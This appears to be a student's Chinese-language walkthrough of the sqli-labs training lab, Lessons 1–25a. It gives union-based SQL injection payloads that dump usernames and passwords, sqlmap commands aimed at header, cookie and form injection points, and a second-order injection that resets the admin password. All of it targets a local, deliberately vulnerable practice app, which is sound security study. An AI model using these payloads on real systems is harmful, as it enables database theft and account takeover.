Sqli-labs
Less 1
-
get传参id=1’,通过报错可知使用单引号闭合
-
使用注释符号绕开报错(–+,-- ,#都可以,但此处若要使用#需编码为%23)
-
通过order by结合报错,判断出当前表有3列
-
通过union select 1,2,3结合输出判断,可利用2、3位置显示信息(id=1需改成-1)
-
查库:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+
获得库名:information_schema,challenges,mysql,performance_schema,security
-
查表:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’
获得表名:emails,referers,uagents,users
-
查字段:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’
获得字段:id,username,password
-
查信息:?id=-1’ union select 1,2,group_concat(concat_ws(‘:’,username,password)) from security.users
获得所有用户的用户名及密码(太多了不贴上来了)
实际做题时把要用到单引号的内容转为十六进制了,虽然影响不大,但好像据说这会是个好习惯?
Less 2
- get传参id=1’,通过报错可知没有用啥东西闭合。后面步骤基本相同
Less 3
- get传参id=1,通过报错可知使用(‘’)闭合。后面步骤基本相同
Less 4
- get传参id=1’,无报错。id=1",通过报错可知使用(“”)闭合。后面步骤基本相同
Less 5
要盲注了,纯手注过于麻烦,所以要用工具的话那就试试万能的sqlmap吧!
- 查库:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --dbs
- 查表:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --tables -D “security”
- 查字段:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --columns -D “security” -T “users”
- 查信息:sqlmap -u “http://127.0.0.1:3306/Less-5/?id=1” --dump -D “security” -T “users”
后面也基本是这样的步骤,主要是找注入点,就只贴上查库这步的命令了
Less 6
sqlmap -u “http://127.0.0.1:3306/Less-6/?id=1” --dbs
Less 7
sqlmap -u “http://127.0.0.1:3306/Less-7/?id=1” --dbs
Less 8
sqlmap -u “http://127.0.0.1:3306/Less-8/?id=1” --dbs
Less 9
sqlmap -u “http://127.0.0.1:3306/Less-9/?id=1” --dbs
Less 10
sqlmap -u “http://127.0.0.1:3306/Less-10/?id=1” --dbs
Less 11
sqlmap -u “http://127.0.0.1:3306/Less-11/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs
Less 12
sqlmap -u “http://127.0.0.1:3306/Less-12/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs
Less 13
sqlmap -u “http://127.0.0.1:3306/Less-13/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs
Less 14
sqlmap -u “http://127.0.0.1:3306/Less-14/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs
Less 15
sqlmap -u “http://127.0.0.1:3306/Less-15/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs
Less 16
sqlmap -u “http://127.0.0.1:3306/Less-16/” --data=“uname=admin&passwd=admin&submit=Submit” --level=5 --risk=3 --dbs
Less 17
sqlmap -u “http://127.0.0.1:3306/Less-17/” --data=“uname=admin&passwd=admin&submit=Submit” --dbs
Less 18
sqlmap -u “http://127.0.0.1:3306/Less-18/” --data=“uname=admin&passwd=admin&submit=Submit” --user-agent=“*” --dbs
Less 19
sqlmap -u “http://127.0.0.1:3306/Less-19/” --data=“uname=admin&passwd=admin&submit=Submit” --referer=“*” --dbs
Less 20
sqlmap -u “http://127.0.0.1:3306/Less-20/index.php” --cookie=“uname=*” --dbs
Less 21
sqlmap -u “http://127.0.0.1:3306/Less-21/index.php” --cookie=“uname=*” --dbs --tamper “base64encode.py”
Less 22
sqlmap -u “http://127.0.0.1:3306/Less-22/index.php” --cookie=“uname=*” --dbs --tamper “base64encode.py”
Less 23
sqlmap -u “http://127.0.0.1:3306/Less-23/?id=1” --dbs
Less 24
刚点开网页一脸懵逼,不知道能干啥,然后才查了查二次注入,只能说第一个这么干的还真是个人才。
- 进入注册界面,注册用户admin‘#,密码随意
- 进入密码修改界面,修改密码为123456
- 用户admin密码被更改为123456
再感叹一波,这么更改管理员密码实在是太离谱了
Less 25
sqlmap -u “http://127.0.0.1:3306/Less-25/?id=1” --dbs
Less 25a
sqlmap -u “http://127.0.0.1:3306/Less-25a/?id=1” --hex --dbs